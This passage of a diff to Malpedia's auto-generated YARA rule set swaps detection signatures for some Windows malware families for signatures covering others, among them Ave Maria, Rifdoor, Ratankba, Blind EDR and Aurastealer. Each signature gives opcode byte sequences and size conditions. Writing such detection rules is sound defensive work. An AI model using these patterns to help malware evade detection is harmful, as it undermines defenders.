$sequence_9 = { 89942444040000 8b542434 8bc1 8bf5 } + $sequence_0 = { 7505 e9???????? ffb5fcfdffff e8???????? 68???????? 8d8500feffff } + $sequence_1 = { e8???????? 8d8500feffff 50 e8???????? 8d8500feffff 50 68???????? } + $sequence_2 = { 7417 e9???????? 3de7710000 7433 7c79 } + $sequence_3 = { 8d0556412600 8945fc a1???????? 8945e8 8d05a02a2600 8945dc 8365f000 } + $sequence_4 = { e8???????? 83c40c 09c0 750d } + $sequence_5 = { e8???????? 6a06 53 e8???????? 83c410 eb40 6a04 } + $sequence_6 = { 09c0 743b 6a00 6800100000 8d85fceeffff 50 ffb5e0edffff } + $sequence_7 = { c6843d00feffff00 09ff 7405 83ffff 7502 eb48 } + $sequence_8 = { 83c40c 8d8544edffff 50 e8???????? 8985c4edffff } + $sequence_9 = { 89e5 51 56 57 8b7d08 ff750c } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Qaccel_Auto : FILE +rule MALPEDIA_Win_Ave_Maria_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f1f0f47f-9fac-5c10-a4e8-a1707e10823b" + id = "87720f7c-76f1-51d7-aae1-49bd8d947af2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qaccel_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ave_maria_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "3da505a80435da5e26f3793d381f00e69d927d9829311958eb99f2abec85d62f" + logic_hash = "084747828755c63e5e35ddf08ea97436090c1d46b402b58bfe29209faf23a08b" score = 75 quality = 75 tags = "FILE" @@ -99067,32 +99250,32 @@ rule MALPEDIA_Win_Qaccel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 0f842b010000 8b7d0c 85ff 0f8420010000 8b4d10 85c9 } - $sequence_1 = { 0f880a000000 0f8904000000 5f 5f } - $sequence_2 = { 41 83c210 894df8 8b1b } - $sequence_3 = { ff15???????? 50 ff15???????? 85db 7525 b941000000 } - $sequence_4 = { 8bf9 81e1ffff0000 83c102 51 ff15???????? 8bf0 } - $sequence_5 = { 8b35???????? 83c408 ffd6 99 b91a000000 } - $sequence_6 = { 5f 8b4d24 85c9 740a 8b45e0 } - $sequence_7 = { 85c0 0f8439010000 8b55fc 81e2ffff0000 } - $sequence_8 = { 5f 8b86f0000000 8b550c 50 52 ff15???????? 83c408 } - $sequence_9 = { 83c9ff f2ae f7d1 2bf9 8d95fcfeffff 8bf7 } + $sequence_0 = { ff15???????? 33c9 85c0 0f94c1 8bc1 c3 } + $sequence_1 = { 8a5716 f6d2 80e201 5f 5e 8ac2 5b } + $sequence_2 = { 50 e8???????? 8b37 8bcf e8???????? 50 56 } + $sequence_3 = { e8???????? 8d4de8 e8???????? 8b4508 5e c9 c20400 } + $sequence_4 = { 8bf0 ba???????? 51 8bce e8???????? ba???????? } + $sequence_5 = { 740a 8b45f0 8906 33c0 40 eb02 33c0 } + $sequence_6 = { 56 8bf1 ff15???????? 8d8ed8010000 e8???????? 8d4e30 e8???????? } + $sequence_7 = { 0f84e0000000 51 ba???????? 8bc8 e8???????? 8b4e10 ba???????? } + $sequence_8 = { 8d44240c 56 57 8b7d08 6a00 ff7708 } + $sequence_9 = { 03d1 c1cf02 8b4df0 03d3 334dac 8bc7 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 237568 } -rule MALPEDIA_Win_Doplugs_Auto : FILE +rule MALPEDIA_Win_Plaintee_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4aa6b45e-3a15-5665-b8ab-574c45e7a423" + id = "c56b0cbf-9d5e-5f6b-9ab4-e8b2c0f5e971" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doplugs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doplugs_auto.yar#L1-L105" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plaintee_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "3a8a777ec93c3f944683664500df734649c491983fb906ea5cefcf412da3de95" + logic_hash = "ab35f3cc5b4d32bf6576e8cbf7b0de583ee4e81c86ef4d1d809f91568ce439ac" score = 75 quality = 75 tags = "FILE" @@ -99106,30 +99289,32 @@ rule MALPEDIA_Win_Doplugs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 01fe 21f3 f7d6 21d6 09de } - $sequence_1 = { 83e13f c1f806 6bc938 8b0485b0390a10 0fb6440828 83e040 5d } - $sequence_2 = { ff15???????? 8b04bdb0390a10 834c0318ff 33c0 eb16 e8???????? c70009000000 } - $sequence_3 = { 6bc938 8b0485b0390a10 f644082801 7406 8b440818 5d } - $sequence_4 = { 89d3 83e2bf f7d3 83e340 09da } - $sequence_5 = { 57 8db8a4350a10 57 ff15???????? ff0d???????? 83ef18 } - $sequence_6 = { 31c0 8b4c2414 8b542438 8b521c 29d0 } - $sequence_7 = { 8b0c24 89ca 80e1ad f6d2 80e252 08d1 } + $sequence_0 = { 83c408 ff15???????? 99 b932000000 8b742410 f7f9 8b4c240c } + $sequence_1 = { ffd0 8b4c2400 33c0 83f905 0f94c0 } + $sequence_2 = { 7e0f 53 8a1c31 32da } + $sequence_3 = { e8???????? 8bf0 eb02 33f6 8bce e8???????? 8a8669010000 } + $sequence_4 = { 51 6a00 52 56 50 ff15???????? 83f85a } + $sequence_5 = { 8b8d4c010000 83c25a 51 50 } + $sequence_6 = { b932000000 8b742410 f7f9 8b4c240c } + $sequence_7 = { 6802020000 ff15???????? 85c0 740a b001 } + $sequence_8 = { 56 8b74240c 50 8b44240c } + $sequence_9 = { 51 8b4c241c 51 ff15???????? } condition: - 7 of them and filesize < 1355776 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Aurastealer_Auto : FILE +rule MALPEDIA_Win_Rifdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8c36a500-8774-5585-be5e-1badb5bb0481" + id = "c64cc60e-de43-57ba-a8c5-3da8fe6ea09a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurastealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aurastealer_auto.yar#L1-L147" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rifdoor_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "8480b12b568e7fb011f2e56db2dfa5eb1d5aeacb4a24d1ba1c2deb0c82ba7d5d" + logic_hash = "4a7031572d6960be3c18bec0c177698078092abb2ffc70b93030291dca57dff4" score = 75 quality = 75 tags = "FILE" @@ -99143,38 +99328,38 @@ rule MALPEDIA_Win_Aurastealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 09f8 894648 83c110 894e44 8b7e30 } - $sequence_1 = { 09f9 85d2 0f49c8 89f5 } - $sequence_2 = { 09fb 895e48 83c110 894e44 } - $sequence_3 = { 09fb 8b0c24 0fb68c0e32900000 01d1 } - $sequence_4 = { 0a1c24 751f 8b7920 8b3f } - $sequence_5 = { 0a442404 89ee 7456 8b6c2410 } - $sequence_6 = { 09fa d1ea 89f7 83e601 } - $sequence_7 = { 0a4c2410 751c 6840df0400 6a01 } - $sequence_8 = { 01442428 8bf1 13d9 33d2 } - $sequence_9 = { 01442420 13d1 c1eb0b 0fa4c115 } - $sequence_10 = { 012c18 42 3bd7 72dc } - $sequence_11 = { 014c241c 13f0 33d2 89742420 } - $sequence_12 = { 014c2420 8be8 13f0 33ff } - $sequence_13 = { 0144241c 8b7c2424 136c2414 33c0 } - $sequence_14 = { 0128 42 3bd7 72db } - $sequence_15 = { 0002 8a0c0f 83c40c 020e } + $sequence_0 = { 7404 3bc3 7508 c744242401000000 8d4c2410 } + $sequence_1 = { 895c2410 8d442410 50 b808000000 b9???????? e8???????? } + $sequence_2 = { 56 bf12000000 e8???????? 83c404 } + $sequence_3 = { c1e006 03048d605d4100 eb05 b8???????? } + $sequence_4 = { 8b4c2408 51 ff15???????? 5f 83c408 c3 } + $sequence_5 = { 6a00 6a12 8d54240c 52 50 } + $sequence_6 = { 85c0 7518 5e 8b8c2404010000 33cc e8???????? 81c408010000 } + $sequence_7 = { 7d0e 885c301c 017e5c 8b465c 3bc1 } + $sequence_8 = { 80bd98feffff00 8d8598feffff 740d 8bc8 } + $sequence_9 = { c1eb10 22d3 8bde 8bc8 } + $sequence_10 = { 03c2 8b9540fbffff 89853cfbffff 52 8d8544fbffff } + $sequence_11 = { 8bec 53 56 8b35???????? 57 3b35???????? 7d4a } + $sequence_12 = { ff15???????? 85c0 0f85cf000000 803d????????00 b8???????? } + $sequence_13 = { 5d c3 6a04 8d45dc 50 6a08 } + $sequence_14 = { 33c0 898540bdffff 898544bdffff 898548bdffff 89854cbdffff 8b8558bdffff } + $sequence_15 = { ff15???????? 8d85e8fbffff 50 8bc8 51 ff15???????? e9???????? } condition: - 7 of them and filesize < 1918976 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Phobos_Auto : FILE +rule MALPEDIA_Win_Ratankba_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6caf5a5b-e4a8-5ad7-ac96-0781f61cb33b" + id = "6a3f1f15-dacb-52cd-b11b-5a08568d4510" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phobos_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratankba_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "0813fe2e377724ce620e3c3620ed6e847086eab6c4f49515372897489c1a64d4" + logic_hash = "245ded0bb432e91f4a3aadcb5c1a265abfb5f2ea6a66bf5a1e4eebc1e9edd031" score = 75 quality = 75 tags = "FILE" @@ -99188,32 +99373,32 @@ rule MALPEDIA_Win_Phobos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4f ff75fc e8???????? 59 8bc7 5f 5e } - $sequence_1 = { 6a0c 5b 53 8d442430 56 50 e8???????? } - $sequence_2 = { 7446 8b06 85c0 7440 8b0f 894e04 8b4f04 } - $sequence_3 = { 33db 56 57 33c0 895c2428 8d7c242c ab } - $sequence_4 = { 8bc6 8d3c08 8d8fb2000000 894df4 83c118 2bc8 81c100000400 } - $sequence_5 = { 5b c9 c3 56 6a1c } - $sequence_6 = { 83c002 eb02 8bc7 8bc8 56 8d7102 } - $sequence_7 = { 68ff000000 ff15???????? cc 55 8bec 8b4508 a3???????? } - $sequence_8 = { 0f8452010000 3bf7 7420 8d44243c 50 ff15???????? 50 } - $sequence_9 = { ff7708 8d442430 ff7704 ff37 50 56 e8???????? } + $sequence_0 = { 8b17 8d0c8500000000 51 6a00 52 e8???????? 8b06 } + $sequence_1 = { c745fcffffffff 899edc000000 899ee0000000 39bdd0d5ffff 720f 8b8dbcd5ffff 51 } + $sequence_2 = { 8d8db4feffff 53 51 c785b4feffff00000000 e8???????? 8bd8 } + $sequence_3 = { 751b 8b45f8 3bc3 7409 50 e8???????? 83c404 } + $sequence_4 = { 8b9510ffffff 85f6 744d 8b8ddcfeffff bb10000000 395914 7202 } + $sequence_5 = { 8b5304 6a18 8944ca04 e8???????? 8bf0 85f6 0f8837ffffff } + $sequence_6 = { e8???????? 8b5004 8b45e4 8b4cd004 51 e8???????? } + $sequence_7 = { 8986b8010000 8986bc010000 899eb0010000 c786b401000060ea0000 8bc6 8b4df4 } + $sequence_8 = { 48 3bc7 7224 b857000780 e8???????? 8bc7 e8???????? } + $sequence_9 = { 83c404 898394000000 85c0 0f847d000000 8b8d10efffff 51 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Minitypeframe_Auto : FILE +rule MALPEDIA_Win_Blind_Edr_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dc23eb24-7d5a-5aeb-a61b-eb29d1fabf92" + id = "763f7b33-d005-5632-bc6e-32cbbb43afd8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minitypeframe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minitypeframe_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blind_edr" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blind_edr_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "649cd851124eccf39a4d1794ac9ee18b8f663aea1274862230eac021ea9eebf8" + logic_hash = "af78d8eedd7874fd051e4e2d0675f6cbdce3ecade2c26f196e0f08521ce6dfb2" score = 75 quality = 75 tags = "FILE" @@ -99227,34 +99412,34 @@ rule MALPEDIA_Win_Minitypeframe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 6a0c 6a05 f3a4 e8???????? 8b8dd8000000 8d442430 } - $sequence_1 = { 83c414 85c0 750a 68bf080000 e9???????? 8b563c 8b7a04 } - $sequence_2 = { 8b4c2444 8039a6 0f8504010000 894c2464 8d4c2420 50 8d542420 } - $sequence_3 = { 8b1c9d78060910 81e300ff0000 33fb 8bda c1eb18 8b1c9d780e0910 81e3000000ff } - $sequence_4 = { e8???????? 83c40c 85c0 751a 6a4b 68???????? } - $sequence_5 = { 83c408 e9???????? 668b15???????? 66c744245c0200 52 ff15???????? 8d4c245c } - $sequence_6 = { c644240416 884c2405 c6442406ba c644240708 c644240898 c644240958 c644240ac1 } - $sequence_7 = { 51 52 e8???????? 8d442414 6a08 } - $sequence_8 = { 6854050000 68???????? 6a44 689b000000 6a14 e8???????? 83c418 } - $sequence_9 = { e8???????? 8bf8 83c404 3bfb 0f8e07020000 c74634d0210000 895e44 } + $sequence_0 = { 488bcf e8???????? 488bc5 e9???????? 498b6e18 488bcf e8???????? } + $sequence_1 = { 483b442468 75d7 85db 7e58 } + $sequence_2 = { 498b84ffe0fc0100 90 493bc6 0f84ae000000 4885c0 0f85a7000000 4d3bc1 } + $sequence_3 = { 488d8c24b0000000 41b808000000 488bd3 e8???????? 4883c308 4883ef01 0f8560ffffff } + $sequence_4 = { 488d542450 4533c9 41b802000000 488d4b02 e8???????? 6639742450 747a } + $sequence_5 = { 488d4b10 4533c9 41b808000000 488d542448 } + $sequence_6 = { 745e 4883c108 4c89b424a8000000 4533c9 488d9424a8000000 } + $sequence_7 = { 4883ec20 488bda 4c8d0d20fd0000 8bf9 488d1517fd0000 } + $sequence_8 = { e8???????? 4533c9 4c89742460 41b808000000 } + $sequence_9 = { 4c8d0503fd0000 e8???????? 488bd3 8bcf 4885c0 7408 ff15???????? } condition: - 7 of them and filesize < 1589248 + 7 of them and filesize < 299008 } -rule MALPEDIA_Win_Dridex_Auto : FILE +rule MALPEDIA_Win_Komprogo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "144cf75b-1d98-530d-8c7f-b36a158181d3" + id = "b83eddfd-6609-5160-bb17-24d52dab0572" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dridex_auto.yar#L1-L1103" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.komprogo_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "ed79935f1e181816ce095f2b34e8302b3ab4d9435988ec01dc1b779e29264775" + logic_hash = "5f20beca4c5ecafddf1c339febd8122f816667a260edfabf9768a16c874c78f2" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -99266,156 +99451,32 @@ rule MALPEDIA_Win_Dridex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd6 85c0 7512 e8???????? eb03 } - $sequence_1 = { e8???????? b910270000 e8???????? e8???????? } - $sequence_2 = { c605????????01 c3 c605????????00 c3 } - $sequence_3 = { 83f8ff 7505 e8???????? 3d34270000 } - $sequence_4 = { ffd0 e8???????? 85c0 74de } - $sequence_5 = { ffd0 85c0 751f e8???????? } - $sequence_6 = { 740c b9e8030000 e8???????? b301 } - $sequence_7 = { 53 53 53 6a01 53 ffd0 } - $sequence_8 = { eb0a e8???????? eb03 6a7f } - $sequence_9 = { c3 31c0 c3 50 } - $sequence_10 = { e8???????? 85c0 7407 56 ffd0 } - $sequence_11 = { 807c241400 7409 8d4c2410 e8???????? } - $sequence_12 = { e8???????? 6880000000 53 53 } - $sequence_13 = { e8???????? 85c0 7408 6a00 ffd0 } - $sequence_14 = { 85c0 7407 685a040000 ffd0 } - $sequence_15 = { e8???????? 85c0 7404 6a7f } - $sequence_16 = { e8???????? 3db20d7897 7508 c70350000000 eb0d 3da665f63e 7506 } - $sequence_17 = { ffd0 5b c3 33c0 } - $sequence_18 = { e8???????? 6a00 8d4e1c e8???????? } - $sequence_19 = { e8???????? eb0a b9d0070000 e8???????? } - $sequence_20 = { e8???????? 6a29 8bc8 e8???????? } - $sequence_21 = { 7411 c7461003000000 e8???????? 894614 } - $sequence_22 = { e8???????? 8d4dc4 e8???????? 5e } - $sequence_23 = { 85c0 7415 6a01 6a00 6a00 } - $sequence_24 = { 8bc8 e8???????? 6a74 8bc8 e8???????? 6a70 } - $sequence_25 = { 6a70 8bc8 e8???????? 6a73 8bc8 e8???????? } - $sequence_26 = { eb08 83ca20 eb03 83ca10 } - $sequence_27 = { 6a00 8bcf e8???????? 50 ffd6 } - $sequence_28 = { e8???????? e9???????? 807c245000 740a } - $sequence_29 = { 46 e8???????? c1e802 3bf0 } - $sequence_30 = { 6a00 6a00 8d4dfc 51 6aff } - $sequence_31 = { 890424 894c2404 75dd 8b0424 } - $sequence_32 = { 89c1 8b442424 88c2 8854240f } - $sequence_33 = { 8b442428 6689c1 66894c2458 66894c245a } - $sequence_34 = { 6a64 59 e8???????? 33c9 } - $sequence_35 = { 33c0 803900 7411 ffc0 } - $sequence_36 = { c7461002000000 eb0f c7461003000000 e8???????? } - $sequence_37 = { 8a442427 a801 7534 eb00 31c0 } - $sequence_38 = { 7414 31c0 89c1 8b442424 } - $sequence_39 = { eb0a b988130000 e8???????? 33d2 } - $sequence_40 = { 85c0 7406 6a02 ff36 ffd0 } - $sequence_41 = { 6802100000 68ffff0000 ff36 ffd0 } - $sequence_42 = { eb00 8b442404 89c1 89ca } - $sequence_43 = { 8954242c 8b44242c 89c1 89ca } - $sequence_44 = { 89442408 7598 8a442407 a801 } - $sequence_45 = { c20400 55 8bec 83ec34 8365fc00 } - $sequence_46 = { 6a01 6a02 ffd0 8906 } - $sequence_47 = { ff7508 ffd0 85c0 750e } - $sequence_48 = { 51 6880000000 68ffff0000 ff36 } - $sequence_49 = { 50 56 8bcb e8???????? 50 e8???????? } - $sequence_50 = { 7404 33c9 ffd0 33c0 } - $sequence_51 = { e8???????? 84c0 740f 6a05 } - $sequence_52 = { e8???????? 6880000000 55 55 } - $sequence_53 = { c3 55 8bec 837d0800 7422 } - $sequence_54 = { ff7508 ffd0 33c0 40 5d } - $sequence_55 = { 8d4de0 51 68???????? ffd0 } - $sequence_56 = { 6a00 6a02 ffd0 50 } - $sequence_57 = { 6a73 e8???????? 833f00 7523 } - $sequence_58 = { e8???????? 8bc8 a1???????? ff30 } - $sequence_59 = { 7403 c60000 b840000000 83fa40 0f4ed0 } - $sequence_60 = { 890424 e8???????? 31c0 83c420 5e } - $sequence_61 = { e8???????? 50 ffd7 85c0 7512 } - $sequence_62 = { eb0c e8???????? 8bf0 eb03 } - $sequence_63 = { e8???????? 50 53 8d4dd0 e8???????? 50 } - $sequence_64 = { 8b45cc 31c9 8b55d0 39c2 } - $sequence_65 = { 8038e9 89c1 8945d0 894dcc } - $sequence_66 = { 8b4838 8b5034 891424 894c2404 e8???????? 8b44241c } - $sequence_67 = { 01ca 83c205 807c0805e9 891424 74e9 } - $sequence_68 = { 8b442408 8038e9 890424 7517 8b0424 8b4801 89c2 } - $sequence_69 = { 6681394d5a 8945b8 894dc4 0f85b6000000 } - $sequence_70 = { 8b45e8 05ffff0000 25ffff0000 83c001 } - $sequence_71 = { 83797c00 8b7dbc 8945b4 8955b0 8975ac } - $sequence_72 = { 31c9 8b54241c 8b723c 8b7e3c 89f3 01fb } - $sequence_73 = { 5e c3 53 57 56 83ec20 8b442430 } - $sequence_74 = { c3 55 89e5 68???????? e8???????? 83c404 } - $sequence_75 = { 894dc4 0f85a1000000 8b45b8 83c018 8b4db8 8b5178 } - $sequence_76 = { 890424 8944241c e8???????? 89442418 e8???????? 83f800 } - $sequence_77 = { 8b55bc 8955c4 776a 31c0 8b4dac 8b510c 8b75bc } - $sequence_78 = { 56 57 53 55 81ec88010000 8bd8 } - $sequence_79 = { 25ffff0000 83c001 8b4da8 01c1 } - $sequence_80 = { c3 55 89e5 57 56 53 83ec54 } - $sequence_81 = { 89c6 8945f8 894df4 8975f0 7418 8b45f4 05ffff0000 } - $sequence_82 = { 83c454 5b 5e 5f 5d c3 55 } - $sequence_83 = { 25ffff0000 83c001 8b4df0 01c1 894de4 } - $sequence_84 = { c7424800b00400 8b7de4 c787cc00000000000000 c787c800000000000000 } - $sequence_85 = { 5b 5e 5d c3 55 89e5 6a00 } - $sequence_86 = { 894df0 8b45f0 83c40c 5e 5d c3 } - $sequence_87 = { 8b4df8 01c1 894df0 8b45f0 } - $sequence_88 = { 890c24 c744240400000000 8945f0 8955ec e8???????? 8b483c 6689ce } - $sequence_89 = { 7418 8b45e4 05ffff0000 25ffff0000 } - $sequence_90 = { 89c7 8945f0 894dec 8955e8 897de4 } - $sequence_91 = { 8b4de8 81c1ffff0000 81e1ffff0000 83c101 } - $sequence_92 = { 53 57 83ec5c 8b450c } - $sequence_93 = { 894de0 7505 e9???????? 8b45e0 83c438 5f } - $sequence_94 = { 57 83ec38 8b450c 8b4d08 8945f0 } - $sequence_95 = { 5b 5d c3 8b45d0 8b4dd4 668b55d8 } - $sequence_96 = { e9???????? 8b45e0 83c45c 5f 5b 5e } - $sequence_97 = { 68???????? 50 50 ffd2 } - $sequence_98 = { 8945c4 894dc0 885dbf 8975b8 } - $sequence_99 = { 8945a0 8955cc 74bc 8b45cc 83c454 5b 5e } - $sequence_100 = { 89e5 57 53 56 83ec38 } - $sequence_101 = { 53 83ec74 8b450c 8b4d08 31d2 8b713c 89cf } - $sequence_102 = { 83c438 5e 5b 5f } - $sequence_103 = { eb06 83c414 5b 5d c3 8b45f0 8b0c8504406e00 } - $sequence_104 = { 57 83ec20 8b4508 890424 } - $sequence_105 = { 8b7dcc 39f8 8945c8 75e4 83c448 5e 5f } - $sequence_106 = { 85d2 7412 33c0 50 50 56 } - $sequence_107 = { c3 8b45f0 8b0c8504406e00 8b55f8 39d1 8945ec 894de8 } - $sequence_108 = { c605????????00 e8???????? 8bd0 85d2 7412 } - $sequence_109 = { 83ec20 a1???????? 85c0 7416 8b0d???????? e8???????? 84c0 } - $sequence_110 = { 0f85dafeffff 8b45e4 83c474 5b } - $sequence_111 = { 895c2414 660fd6442418 660fd6442420 e8???????? 84c0 } - $sequence_112 = { e9???????? 8bcd 8d8424a8010000 50 } - $sequence_113 = { 53 81ecb0000000 8b4508 8d4dd8 c745d800000000 } - $sequence_114 = { 8955dc e8???????? 8d0de8306e00 890424 894c2404 e8???????? 8d0d44306e00 } - $sequence_115 = { 8855af 8975cc 751c 8b45a4 8a4daf 31d2 8a2c0575306e00 } - $sequence_116 = { 83c470 5b 5f 5e 5d c3 } - $sequence_117 = { c3 55 89e5 56 53 57 83ec54 } - $sequence_118 = { e9???????? 8b45e0 83c45c 5e 5f 5b } - $sequence_119 = { 897dd8 8b45d8 83c444 5b 5e } - $sequence_120 = { 57 53 83ec70 8b450c } - $sequence_121 = { 74bc 8b45cc 83c454 5f 5b 5e 5d } - $sequence_122 = { 57 56 83ec5c 8b450c 8b4d08 31d2 8b7008 } - $sequence_123 = { 89e5 53 56 57 83ec38 } - $sequence_124 = { 8d0d44306e00 31d2 890c24 c744240400000000 } - $sequence_125 = { 89723c c7424004000000 c742442c0c0200 c7424800b00400 8b7de4 } - $sequence_126 = { 8a2c0575306e00 83c001 38e9 8945a0 } - $sequence_127 = { 57 83ec54 8d055a232700 31c9 8d55d8 803d????????e9 } - $sequence_128 = { 52 8bd6 e8???????? 8bcf 53 } - $sequence_129 = { 8945d0 74e4 31c0 8d0d5a238400 8b55c8 39ca } - $sequence_130 = { 8a4daf 31d2 8a2c0575308400 83c001 } - $sequence_131 = { c744240400000000 8955e0 e8???????? 8d0dd8308400 } - $sequence_132 = { 8b4d08 8d155e302f00 83ec04 891424 8945e8 } - $sequence_133 = { 8d0d44308400 31d2 8b75f8 89461c 890c24 c744240400000000 8955e4 } + $sequence_0 = { e8???????? 68???????? 8d45f4 50 c745f400614100 e8???????? cc } + $sequence_1 = { c745ec00000000 84c0 7407 be01000000 eb15 51 e8???????? } + $sequence_2 = { 899ef6e80000 899eeca10000 8d8610700300 8986aee90000 8d861c970300 898632ea0000 } + $sequence_3 = { 8d55f0 52 8b11 8d45f4 50 52 } + $sequence_4 = { 899e876b0000 51 8b4dfc 899e9a6b0000 8d8696d20300 } + $sequence_5 = { 8d85e4f3ffff 50 8d8decfdffff 51 c78584f3ffff44000000 ff15???????? 8bf0 } + $sequence_6 = { 51 8d86a0d00300 8bcb e8???????? 83c404 84c0 } + $sequence_7 = { 8d8650e60300 8d961ef30100 898623bc0200 899634320200 8d8636a50200 898675af0200 } + $sequence_8 = { 8d8ee0920000 898e1caa0300 8d8e80720300 8d96305d0300 51 8b4df4 8d8600cf0300 } + $sequence_9 = { 89966c940300 8d9698ec0300 89964da90200 898e88aa0200 8986cbaa0200 8d860cea0300 8986f7aa0200 } condition: - 7 of them and filesize < 1040384 + 7 of them and filesize < 1045504 } -rule MALPEDIA_Win_Rhttpctrl_Auto : FILE +rule MALPEDIA_Win_Common_Magic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0c1f067f-4c03-5217-84ef-e2056be8411e" + id = "af63221a-d89f-5b5e-b536-f2130b5cebfc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhttpctrl_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.common_magic_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "e08ad966d09dce27a6d8e5d5ac2bacf3849e80bd61e38dcdd72f40d98e9b8f3d" + logic_hash = "20951a1a53280d6d98a10f242cdfcf681eb6a68d19880713aace683e29423308" score = 75 quality = 75 tags = "FILE" @@ -99429,32 +99490,32 @@ rule MALPEDIA_Win_Rhttpctrl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { d1fe 6a55 ff34f5c0d54100 ff7508 e8???????? 83c40c 85c0 } - $sequence_1 = { ffd7 8b4c241c ff742410 8b35???????? 894114 ffd6 } - $sequence_2 = { 6a00 8d442418 50 8d4714 50 56 } - $sequence_3 = { 2bc3 39460c 0f8660ffffff 50 53 6aff ff7608 } - $sequence_4 = { 83c408 895f08 837f1400 c7471001000000 } - $sequence_5 = { 8b01 52 8d95f0d7ffff 52 ff5004 } - $sequence_6 = { 8d8424e4010000 6a00 50 e8???????? 83c40c c68424c001000000 } - $sequence_7 = { c705????????090400c0 c705????????01000000 c705????????01000000 6a04 58 6bc000 c780f43b420002000000 } - $sequence_8 = { 3bc1 7410 50 e8???????? 83c404 0f1085c0feffff 8b4508 } - $sequence_9 = { 8b7d0c 8bd9 85ff 7417 803e52 750c 807e0145 } + $sequence_0 = { e8???????? 59 5d c20400 e8???????? 85c0 0f84c02e0000 } + $sequence_1 = { 885c012e 8b049570804100 804c012d04 46 } + $sequence_2 = { 8d8de8fdffff c685a4fdffff00 51 ffb5a4fdffff 8d8dacfdffff } + $sequence_3 = { 68???????? 51 50 